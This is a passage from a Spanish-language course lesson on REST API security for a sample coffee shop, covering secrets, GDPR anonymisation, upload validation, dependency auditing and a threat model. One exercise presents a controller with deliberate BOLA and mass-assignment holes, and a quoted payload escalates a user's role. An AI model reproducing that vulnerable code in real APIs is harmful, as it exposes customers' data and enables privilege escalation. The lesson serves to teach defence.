  NODE_ENV: z.enum(['desarrollo', 'pruebas', 'produccion']),
  JWT_SECRETO: z.string().min(32, 'JWT_SECRETO debe tener al menos 32 caracteres'),
  WEBHOOK_HMAC_SECRETO: z.string().min(32),
  // ...
}).superRefine((valores, ctx) => {
  const debiles = ['secreto', 'cambiame', 'test', 'dev'];
  if (valores.NODE_ENV === 'produccion' && debiles.some((d) => valores.JWT_SECRETO.includes(d))) {
    ctx.addIssue({ code: 'custom', message: 'JWT_SECRETO parece un valor de ejemplo.' });
  }
});

Que el proceso no arranque es lo correcto: un fallo ruidoso al desplegar es infinitamente mejor que un sistema funcionando con un secreto de ejemplo.

Gestores de secretos. En producción, las variables de entorno se rellenan desde un gestor —HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, Azure Key Vault— que aporta lo que un fichero no puede: control de acceso por identidad, auditoría de quién leyó qué y cuándo, versionado y rotación.

Rotación. Un secreto debe poder cambiarse sin cortar el servicio, y eso obliga a aceptar dos a la vez durante la transición. Para la firma de JWT: se firma con la clave nueva y se acepta la verificación con la nueva y la anterior hasta que caduquen todos los tokens emitidos (15 minutos con nuestra configuración). Diseñar el código para admitir una lista de claves de verificación, en vez de una sola, es lo que hace posible la rotación; en 04-03 verás que OAuth resuelve esto de forma nativa con el kid y el JWKS.

Si un secreto se filtra, el orden importa y hay que tenerlo escrito antes de necesitarlo:

  1. Rotar primero, investigar después. El secreto filtrado se revoca ya.
  2. Invalidar lo derivado: todos los tokens firmados con esa clave, todas las sesiones.
  3. Revisar los accesos en los logs desde la fecha probable de la filtración.
  4. Borrar del historial de Git (git filter-repo) y forzar la reescritura — pero asumiendo que el secreto ya es público: si estuvo en un repositorio, se considera comprometido para siempre.
  5. Notificar según proceda; si hay datos personales implicados, hay plazos legales (apartado 14).
  6. Añadir la detección: un escáner de secretos en la integración continua (gitleaks, trufflehog) para que no vuelva a ocurrir.

  1. Datos personales y RGPD

Tienda Aroma almacena nombre, correo, dirección de envío e historial de compras. Todo eso son datos personales y su tratamiento está regulado en la UE por el RGPD. No es materia de esta lección agotar la norma, pero sí conocer las consecuencias técnicas directas, porque afectan al diseño de la API.

Advertencia. Lo que sigue son implicaciones técnicas habituales, no asesoramiento jurídico. Cualquier sistema que trate datos personales reales necesita revisión de cumplimiento por parte de quien corresponda en tu organización.

Principio Implicación técnica en Tienda Aroma
Minimización No pidas la fecha de nacimiento si no la usas. Cada campo que no recoges es un campo que no puedes filtrar
Limitación de la finalidad Los datos del pedido no se usan para otra cosa sin base legal
Limitación del plazo Pedidos y direcciones tienen fecha de retención; hay un proceso que borra
Integridad y confidencialidad TLS en tránsito, cifrado en reposo, acceso por rol
Responsabilidad proactiva Registro de accesos a datos personales, auditable
Derecho de acceso y portabilidad Un proceso capaz de exportar todo lo de un cliente
Derecho de supresión Ver más abajo: choca con el borrado lógico
Notificación de brechas Procedimiento y plazos definidos antes del incidente

No registrar datos sensibles en los logs. Es el punto donde más se falla, porque los logs se copian, se envían a servicios externos y se conservan mucho tiempo. Nunca deben aparecer contraseñas, tokens, la cabecera Authorization, números de tarjeta, direcciones postales completas ni correos en claro. La redacción automática y el detalle de qué se registra lo implementaremos en 04-07; conviene saber ya que es un requisito legal y no solo una buena práctica.

Cifrado en reposo. El fichero SQLite, las copias de seguridad y los volcados deben estar cifrados a nivel de disco o de fichero. Una copia de seguridad sin cifrar en un bucket mal configurado es una de las causas más frecuentes de brecha.

El derecho de supresión frente al borrado lógico. Aquí hay un choque real que hay que resolver conscientemente. En 03-05 usamos activo = 0 para el borrado lógico, porque nos permite conservar la integridad referencial: un pedido apunta a un cliente y no puede quedar huérfano. Pero "marcar como inactivo" no es borrar a efectos del RGPD.

La solución habitual es la anonimización o seudonimización selectiva: el registro sobrevive como entidad contable, pero deja de identificar a nadie.

// src/servicios/clientes.js
export async function ejercerDerechoSupresion(clienteId) {
  return db.transaction(() => {
    // 1. Se anonimizan los identificadores directos.
    repositorios.clientes.anonimizar(clienteId, {
      nombre: 'Cliente eliminado',
      email: `borrado+${clienteId}@invalid.example`,   // .invalid nunca se resuelve
      telefono: null,
      hash_contrasena: null,
      anonimizado_en: new Date().toISOString(),
    });

    // 2. Se limpian los datos personales incrustados en los pedidos,
    //    conservando los importes: hay obligación fiscal de guardarlos.
    repositorios.pedidos.anonimizarDireccionesDe(clienteId);

    // 3. Reseñas: se conserva el texto, se desliga el autor.
    repositorios.resenas.desligarAutor(clienteId);

    // 4. Se revocan todas las sesiones y refresh tokens.
    repositorios.sesiones.revocarTodasDe(clienteId);
  })();
}

Los comentarios señalan la tensión de fondo: la obligación fiscal de conservar facturas durante años coexiste con el derecho de supresión, y se resuelve conservando el dato económico y eliminando el identificativo. La decisión concreta de qué se conserva y cuánto tiempo no es técnica: requiere revisión de compliance. Lo que sí es responsabilidad técnica es que el sistema pueda hacerlo: si el diseño no contempla la anonimización desde el principio, cumplir después es carísimo. Y no olvides las copias de seguridad y los logs: si conservas backups un año, el dato sigue ahí; hay que documentar la política de retención.

  1. Subida de imágenes de café

POST /v1/cafes/{id}/imagen acepta un fichero. Toda subida es entrada no confiable y, además, una entrada que se va a servir después a otros usuarios.

Control Regla en Tienda Aroma Por qué
Tamaño máximo 2 MB Disponibilidad y coste
Número por petición 1 Evita amplificación
Tipos permitidos image/jpeg, image/png, image/webp Lista blanca cerrada
Verificación real Leer los magic bytes, no fiarse del Content-Type El cliente miente
Nombre del fichero Generado por el servidor (caf_001-a3f9.webp) Evita traversal y colisiones
Ubicación Fuera de la raíz del servidor, en almacenamiento de objetos Un .php o .js subido no se ejecuta
Servido desde Dominio distinto (imagenes.tiendaaroma.example) Aísla del dominio de la API
Reprocesado Recodificar la imagen antes de guardarla Elimina metadatos y cargas útiles
Metadatos EXIF Se eliminan Pueden contener coordenadas GPS

La verificación por contenido, que es la que casi nadie hace:

// src/servicios/imagenes.js
const FIRMAS = [
  { tipo: 'image/jpeg', bytes: [0xff, 0xd8, 0xff] },
  { tipo: 'image/png',  bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
  { tipo: 'image/webp', bytes: [0x52, 0x49, 0x46, 0x46] },   // 'RIFF' (+ 'WEBP' en el byte 8)
];

export function detectarTipoReal(buffer) {
  for (const firma of FIRMAS) {
    const coincide = firma.bytes.every((b, i) => buffer[i] === b);
    if (coincide) return firma.tipo;
  }
  return null;
}

export function validarImagen(buffer, tipoDeclarado) {
  const tipoReal = detectarTipoReal(buffer);
  if (!tipoReal) throw errores.datosInvalidos('El fichero no es una imagen válida.');
  if (tipoReal !== tipoDeclarado) {
    // Discrepancia entre lo declarado y el contenido real: señal de intento de evasión.
    throw errores.datosInvalidos('El contenido no coincide con el tipo declarado.');
  }
  return tipoReal;
}

Los magic bytes son la firma binaria del formato al principio del fichero. Comprobarlos impide el truco clásico de subir un ejecutable o un HTML con extensión .jpg y Content-Type: image/jpeg.

Aun así, la defensa más fuerte no es la detección sino el reprocesado: pasar la imagen por una librería que la decodifique y la vuelva a codificar (por ejemplo sharp) produce un fichero nuevo que no conserva nada de lo que hubiera escondido dentro, y de paso elimina los EXIF. Si la subida se hace directamente a un almacenamiento de objetos con URL prefirmada, el fichero ni siquiera pasa por tu API, que es mejor todavía para la disponibilidad.

  1. Dependencias y cadena de suministro

express, zod, better-sqlite3, jsonwebtoken, bcrypt, dotenv, y ahora helmet. Cada una arrastra las suyas: el árbol real son cientos de paquetes, todos ejecutándose con los permisos de tu proceso.

# 1. Vulnerabilidades conocidas en el árbol de dependencias.
npm audit

# 2. Solo las graves, y con código de salida distinto de 0 para la CI.
npm audit --audit-level=high

# 3. Corrige lo que se pueda sin cambios incompatibles.
npm audit fix

# 4. Instalación reproducible en CI: respeta package-lock.json exactamente.
npm ci

# 5. Qué hay realmente instalado y por qué.
npm ls jsonwebtoken

Las prácticas que importan:

  • package-lock.json versionado y npm ci en la integración continua. Sin él, dos instalaciones del mismo commit pueden traer código distinto.
  • Actualizar de forma continua, no en una migración anual: diez actualizaciones pequeñas cuestan menos que una grande, y las grandes se posponen.
  • Reducir el número de dependencias. La pregunta antes de instalar es si el problema se resuelve con la biblioteca estándar de Node, que hoy incluye crypto, fetch, test y AbortSignal.
  • Fijar versiones de forma sensata: rangos estrechos y actualizaciones revisadas, con Dependabot o Renovate abriendo pull requests que pasan por tus pruebas.
  • Desconfiar de los scripts de instalación. Un postinstall malicioso se ejecuta al instalar, antes de que revises nada. npm ci --ignore-scripts es una opción cuando es viable.
  • Vigilar el typosquatting: expres, lodahs, node-fetchh. Copiar y pegar el nombre desde la documentación oficial evita la clase entera.

El ataque de cadena de suministro es hoy el vector de moda precisamente porque no requiere vulnerar tu código: basta con comprometer el de otro que tú ejecutas.

  1. Modelo de amenazas ligero de Tienda Aroma

Un modelo de amenazas no necesita ser un documento de cien páginas. La versión útil cabe en una tabla y se revisa cada trimestre: activo → amenaza → defensa → dónde está implementada.

Activo Amenaza Impacto Defensa Dónde
Datos de pedidos BOLA: leer pedidos ajenos Alto (RGPD) Comprobación de propiedad en el servicio + 404 src/servicios/pedidos.js
Datos de clientes Exposición excesiva Alto (RGPD) Mapeador con lista blanca src/servicios/mapeadores.js
Cuentas Fuerza bruta en el login Alto bcrypt + límite por IP y correo 03-06 / 04-04
Cuentas Escalada por asignación masiva Crítico Zod .strict() + req.datosValidados src/esquemas/*.js
Tokens Robo en tránsito Crítico TLS obligatorio + HSTS Infraestructura + helmet
Tokens Falsificación (alg:none) Crítico algorithms: ['HS256'] fijo src/middleware/autenticacion.js
Catálogo Scraping masivo Medio Rate limiting + paginación 04-04
Base de datos Inyección SQL Crítico Sentencias preparadas + lista blanca en ordenar src/repositorios/*.js
Disponibilidad Cuerpos y páginas gigantes Medio limit: 100kb, limite máx. 100 src/app.js, 03-03
Red interna SSRF por URL de imagen Alto Lista blanca de dominios, sin redirecciones, IP no privada src/servicios/descargas.js
Almacenamiento Fichero malicioso subido Alto Magic bytes + recodificación + dominio aparte src/servicios/imagenes.js
Secretos Filtración por el repositorio Crítico .gitignore, gestor de secretos, escáner en CI Despliegue
Webhooks Suplantación de RápidoEnvíos Alto HMAC-SHA256 + Aroma-Evento-Id antirreplay Servicio de webhooks
Superficie Endpoints olvidados Alto Inventario + openapi.yaml como fuente única Proceso
Dependencias Paquete comprometido Crítico npm ci, npm audit, revisión de actualizaciones CI
Navegador Origen no autorizado Medio CORS con lista blanca 04-05
Logs Datos personales registrados Alto (RGPD) Redacción automática de campos sensibles 04-07

Cómo se usa: cuando añades una funcionalidad, añades sus filas. Si una fila no tiene una casilla "dónde" concreta, esa defensa no existe; es una intención. Y si una fila de impacto crítico tiene la casilla vacía, ese es tu siguiente trabajo, antes que cualquier funcionalidad nueva.

Errores Comunes y Consejos

Confundir autenticación con autorización. "Tiene un token válido" solo responde a quién es. La pregunta qué puede hacer con este objeto concreto se responde en cada petición, y su ausencia es la vulnerabilidad número uno.

Validar en la SPA y no en la API. La validación del cliente es usabilidad. La API es el único punto donde la validación es una defensa.

Poner helmet al final de la cadena. Las cabeceras no aparecerían en las respuestas generadas por middlewares anteriores, que son justamente los errores.

Devolver 403 en recursos ajenos. Confirma la existencia y permite enumerar. 404 salvo que el recurso sea público.

Creer que .strict() basta si luego usas req.body. La validación solo protege si consumes el objeto validado.

Guardar el .env en el repositorio "solo un momento". El historial de Git es para siempre; el secreto queda comprometido aunque lo borres en el commit siguiente.

Fiarse del Content-Type de una subida. Lo escribe el cliente. Solo el contenido real cuenta.

Registrar la petición completa "para depurar". Es la forma más rápida de meter contraseñas y tokens en un sistema de logs con retención de un año.

Consejo: ataca tu propia API. Reserva media hora, coge un token de cli_842 y prueba sistemáticamente: identificadores ajenos, campos de más, métodos no previstos, valores extremos. Casi siempre aparece algo.

Consejo: convierte cada vulnerabilidad encontrada en una prueba. Una vulnerabilidad arreglada sin prueba vuelve en seis meses, cuando alguien refactoriza el servicio.

Consejo: la seguridad es en capas. Ninguna defensa de esta lección es suficiente por sí sola. Los identificadores opacos no sustituyen a la comprobación de propiedad, y helmet no sustituye a TLS.

Ejercicios

Ejercicio 1: encontrar tres vulnerabilidades

Este controlador se ha propuesto para el nuevo endpoint GET /v1/clientes/{id} y PATCH /v1/clientes/{id}. Identifica al menos tres vulnerabilidades distintas del OWASP API Top 10, nómbralas con su categoría y corrígelas.

// src/controladores/clientes.js
router.get('/:id', autenticar, asincrono(async (req, res) => {
  const cliente = await repositorios.clientes.porId(req.params.id);
  if (!cliente) return res.status(404).json({ error: { codigo: 'no_encontrado' } });
  res.json(cliente);
}));

router.patch('/:id', autenticar, asincrono(async (req, res) => {
  const actualizado = await repositorios.clientes.actualizar(req.params.id, req.body);
  res.json(actualizado);
}));

Ejercicio 2: configurar helmet para el panel

El panel interno (https://panel.tiendaaroma.example) necesita mostrar en un <img> las imágenes de café que sirve la API. Con la configuración de helmet del apartado 12, la imagen no carga. Explica qué cabecera lo impide y propón el ajuste, razonando por qué no compromete la seguridad de los endpoints JSON.

Ejercicio 3: modelo de amenazas de un endpoint nuevo

Se va a añadir POST /v1/clientes/{id}/exportacion, que genera un fichero con todos los datos personales del cliente (derecho de acceso del RGPD) y devuelve un enlace de descarga. Escribe las filas del modelo de amenazas de este endpoint: al menos cuatro amenazas con su defensa y dónde se implementaría.

Soluciones

Solución 1

Vulnerabilidades:

  1. API1 (BOLA) en el GET: cualquier cliente autenticado lee los datos de cualquier otro. Falta la comprobación de propiedad.
  2. API3 (exposición excesiva): res.json(cliente) devuelve la fila entera, incluidos hash_contrasena, rol, activo y cualquier columna futura.
  3. API3 / asignación masiva en el PATCH: req.body va directo al repositorio, así que un cliente puede mandar {"rol":"administrador"} o {"activo":true}.
  4. API1 otra vez en el PATCH: tampoco comprueba propiedad; un cliente edita a otro.
  5. Extra: el 404 se construye a mano y no sigue el formato del catálogo (detalles ausente), rompiendo el contrato de 03-07.

Corrección:

// src/controladores/clientes.js
router.get(
  '/:id',
  autenticar,
  asincrono(async (req, res) => {
    // El servicio comprueba propiedad y lanza 404 si no procede (no 403).
    const cliente = await servicios.clientes.obtener(req.params.id, req.usuario);
    // El mapeador decide qué campos ve quien pregunta.
    res.json(mapeadores.aClienteSegunRol(cliente, req.usuario));
  })
);

router.patch(
  '/:id',
  autenticar,
  validar(esquemaActualizarCliente, 'body'),   // .strict(): nombre, telefono, direccion
  asincrono(async (req, res) => {
    const actualizado = await servicios.clientes.actualizar(
      req.params.id,
      req.datosValidados,      // ← nunca req.body
      req.usuario              // ← el servicio comprueba propiedad
    );
    res.json(mapeadores.aClienteSegunRol(actualizado, req.usuario));
  })
);
// src/esquemas/clientes.js
export const esquemaActualizarCliente = z
  .object({
    nombre: z.string().min(2).max(80).optional(),
    telefono: z.string().max(20).optional(),
    direccion: z.string().max(200).optional(),
  })
  .strict();     // rol, activo, saldo o version → 400 datos_invalidos

Y una prueba que fija el arreglo:

it('un cliente no puede leer los datos de otro', async () => {
  const r = await request(app)
    .get('/v1/clientes/cli_001')
    .set('Authorization', `Bearer ${tokenDeMarta}`);
  assert.equal(r.status, 404);            // 404, no 403: no confirma existencia
});

Solución 2

La cabecera responsable es Cross-Origin-Resource-Policy: same-origin, que helmet activa por defecto. Con ese valor, el navegador se niega a incrustar la respuesta en un documento de otro origen; el panel está en panel.tiendaaroma.example y la imagen en api.tiendaaroma.example, así que son orígenes distintos y el <img> no pinta nada.

Ajuste:

export const cabecerasSeguridad = helmet({
  // ... resto igual
  crossOriginResourcePolicy: { policy: 'cross-origin' },
});

Por qué no compromete la seguridad de los endpoints JSON: CORP no es un mecanismo de autorización, sino una protección contra ataques de canal lateral basados en incrustar respuestas (Spectre y similares). Quién puede leer el contenido de una respuesta sigue estando controlado por dos cosas independientes: la política CORS (04-05), que decide qué orígenes pueden leer la respuesta desde JavaScript, y sobre todo la autorización del servidor, que exige un token válido con los permisos adecuados. Un atacante que incruste GET /v1/pedidos/ped_5001 en una etiqueta <img> no envía el Authorization, recibe un 401 y además no puede leer el cuerpo.

Alternativa preferible: servir las imágenes desde un dominio propio (imagenes.tiendaaroma.example) con su propia configuración, y mantener same-origin en la API. Aísla mejor los dos problemas.

Solución 3

Activo Amenaza Impacto Defensa Dónde
Datos personales completos BOLA: exportar los datos de otro cliente Crítico (brecha RGPD) Comprobación de propiedad; solo el propio cliente o un administrador con justificación src/servicios/clientes.js
Enlace de descarga Enlace adivinable o compartible Crítico Token de un solo uso, caducidad de 15 min, ligado al clienteId del token Servicio de exportación
Fichero generado Queda accesible tras la descarga Alto Borrado automático a las 24 h; almacenamiento privado con URL prefirmada Almacenamiento
Disponibilidad Exportaciones repetidas para saturar la CPU Medio Rate limiting específico (1 exportación por cliente y día) + proceso asíncrono con 202 04-04 / 04-06
Contenido del fichero Incluye más datos de los debidos (notas internas) Alto Lista blanca explícita de campos exportables, revisada por compliance Mapeador de exportación
Logs Se registran los datos exportados Alto Registrar solo el evento y el clienteId, nunca el contenido 04-07
Trazabilidad No se sabe quién ejecutó una exportación Medio (responsabilidad proactiva) Registro de auditoría: quién, cuándo, sobre quién Auditoría
Notificación El titular no sabe que se exportaron sus datos Medio Correo automático al cliente al generar la exportación Servicio de notificaciones

Nota transversal: al ser un endpoint que materializa un derecho del RGPD, el alcance exacto de los datos incluidos y los plazos de conservación del fichero requieren validación de compliance, no solo decisión técnica. Y el diseño correcto es asíncrono (202 Accepted + recurso de estado), porque generar el fichero puede tardar y no debe ocupar una conexión: ese patrón lo veremos en 04-06.

Conclusión

La seguridad de una API no es una capa que se añade, es una propiedad que se sostiene en cada endpoint. Has recorrido el OWASP API Security Top 10 sobre Tienda Aroma y has visto que la mayoría de las vulnerabilidades reales son de autorización: BOLA cuando alguien lee el pedido de otro, autorización de función rota cuando un cliente crea cafés, exposición excesiva cuando el mapeador no filtra, asignación masiva cuando req.body llega al repositorio. Has visto por qué .strict() de Zod y el mapeador con lista blanca —decisiones que parecían de calidad de código— eran en realidad defensas de primera línea; qué inyecciones siguen siendo posibles después de las sentencias preparadas, y cómo se cierra la única que quedaba abierta con la lista blanca de ordenar; cómo se defiende el transporte con TLS y HSTS, la red interna del SSRF y el almacenamiento de una imagen maliciosa. Y has añadido al proyecto src/middleware/seguridad.js con helmet, en la posición 3 de la cadena, antes de cualquier middleware capaz de responder.

Queda pendiente lo que este modelo de amenazas señala como abierto. Empezamos por la puerta de entrada: en 04-03, OAuth 2.0 y OpenID Connect en la práctica, resolveremos cómo una aplicación de terceros —"CataBox", que quiere leer los pedidos de un cliente— accede a Tienda Aroma sin conocer su contraseña. Veremos los cuatro roles del protocolo y por qué nuestra API es solo el servidor de recursos; los ámbitos cafes.leer, pedidos.leer, pedidos.escribir y resenas.moderar; los flujos vigentes con Authorization Code + PKCE para la SPA y la app móvil, Client Credentials para RápidoEnvíos y el de refresco; la diferencia entre autenticar y autorizar que aporta OpenID Connect con su id_token; y la validación de tokens con JWKS y kid —que, no por casualidad, resuelve de forma nativa el problema de rotación de claves que acabamos de plantear— en un middleware autenticarOAuth que convivirá con el autenticar de 03-06.

Curso de REST API: Principios de Diseño y Desarrollo de APIs RESTful

Módulo 1: Introducción a las APIs RESTful

Módulo 2: Diseño de APIs RESTful

Módulo 3: Desarrollo de APIs RESTful

Módulo 4: Buenas Prácticas y Seguridad

Módulo 5: Herramientas y Frameworks

Módulo 6: Casos de Estudio y Proyectos

© Copyright 2026. Todos los derechos reservados